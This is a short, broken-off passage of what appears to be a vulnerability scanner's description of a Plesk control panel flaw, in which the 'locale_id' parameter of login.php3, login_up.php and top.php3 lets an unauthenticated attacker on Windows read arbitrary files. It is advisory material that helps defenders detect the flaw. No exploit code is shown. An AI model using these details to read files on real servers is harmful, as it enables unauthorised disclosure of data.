"The remote host is running Plesk, a control panel used to administer

user-supplied input to the 'locale_id' parameter of the 'login.php3',
'login_up.php', and 'top.php3' scripts before using it to access
files.  On a Windows platform, an unauthenticated attacker can
leverage this issue to read the contents of arbitrary files on the
